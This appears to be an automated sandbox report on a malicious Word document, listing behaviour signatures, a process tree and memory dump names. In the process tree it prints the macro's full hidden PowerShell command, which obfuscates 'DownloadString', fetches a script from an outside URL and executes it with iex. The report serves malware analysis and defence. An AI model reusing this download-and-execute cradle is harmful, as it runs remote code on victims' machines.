Analysis
- max time kernel
149s - max time network
37s - platform
windows7_x64 - resource
win7v20210410 - submitted
25/04/2021, 09:57
General
- Target 4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e.bin.doc
- Size 230KB
- Sample210425-ctbs283df2
- SHA256 4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Office loads VBA resources, possible macro or embedded object present
- Modifies Internet Explorer settings 1 TTPs 9 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 21 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4252c0b130be39bf2258c84c436c17babfd650b6d665ac6c4e050f87fe34e46e.bin.doc"1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -command &{[string]$a={(New-Object Net.WebClient).Do('http://pootball.medianewsonline.com/ro/ki.txt')};$b=$a.insert(29,'wnloadString');$c=iex $b;iex $c}2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/536-60-0x0000000072661000-0x0000000072664000-memory.dmp
memory/536-61-0x00000000700E1000-0x00000000700E3000-memory.dmp
memory/536-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1984-72-0x0000000005240000-0x0000000005241000-memory.dmp
memory/1984-70-0x00000000048A2000-0x00000000048A3000-memory.dmp
memory/1984-65-0x0000000075011000-0x0000000075013000-memory.dmp
memory/1984-90-0x00000000062D0000-0x00000000062D1000-memory.dmp
memory/1984-67-0x0000000001EF0000-0x0000000001EF1000-memory.dmp
memory/1984-68-0x00000000048E0000-0x00000000048E1000-memory.dmp
memory/1984-69-0x00000000048A0000-0x00000000048A1000-memory.dmp
memory/1984-89-0x00000000062B0000-0x00000000062B1000-memory.dmp
memory/1984-71-0x0000000002580000-0x0000000002581000-memory.dmp
memory/1984-75-0x0000000005710000-0x0000000005711000-memory.dmp
memory/1984-80-0x0000000005750000-0x0000000005751000-memory.dmp
memory/1984-81-0x000000007EF30000-0x000000007EF31000-memory.dmp
memory/1984-82-0x00000000057B0000-0x00000000057B1000-memory.dmp
memory/2000-66-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmp